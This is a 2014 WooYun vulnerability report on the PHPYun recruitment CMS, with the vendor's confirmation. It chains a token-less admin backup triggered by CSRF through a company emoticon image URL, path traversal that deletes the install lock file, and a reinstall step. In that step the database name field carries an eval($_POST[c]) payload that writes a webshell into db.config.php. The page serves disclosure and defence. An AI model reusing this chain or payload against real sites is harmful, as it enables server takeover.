当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076015

漏洞标题:phpyun多漏洞组合写shell(有条件限制)

相关厂商:php云人才系统

漏洞作者: JJ Fly

提交时间:2014-09-16 14:12

修复时间:2014-12-15 14:14

公开时间:2014-12-15 14:14

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-16: 细节已通知厂商并且等待厂商处理中
2014-09-16: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向第三方安全合作伙伴开放
2014-11-10: 细节向核心白帽子及相关领域专家公开
2014-11-20: 细节向普通白帽子公开
2014-11-30: 细节向实习白帽子公开
2014-12-15: 细节向公众公开

简要描述:

phpyun多漏洞组合写shell(有条件限制)

详细说明:

1.
Phpyun的后台基本都有token。
之所以说基本,是因为还漏掉了一个关键的地方。

图片1.png


Phpyun的管理员帐号密码都在phpyun_admin_user表中。
用上面的方法进行备份,是没有token的

图片2.png


限制条件

http://wooyun.org/bugs/wooyun-2014-064004   感谢u神


然后如下。

图片3.png


2.
好的,再来说如果实现上面这个get的问题。
我们注册一个企业用户。
然后在添加一个表情,然后修改图片属性,地址。

图片4.png


图片5.png


把图片的url改成我们上面的地址。
然后等管理员,审核企业信息的时候就行了。(觉得速度慢,可以加点社工。)
3.
进入后台
数据库删除

图片6.png


图片7.png


对提交的参数没有进行过滤,可以删除lock文件
Sql那个参数那改成 ../phpyun .lock
然后我们就可以重新安装phpyun了。

漏洞证明:

4.
下面就可以重新安装了。
重新安装的话在数据库名称那,
可以抓包对数据库名进行修改,页面有js限制。

图片8.png


由于没有读取到数据库的帐号密码,我们只能尝试外联。(图中为本机)
抓包修改
数据库名 xx',1=>eval($_POST[c]),'xx'=>'

图片9.png


然后 db.config.php 如下

图片10.png

修复方案:

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-16 14:24

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无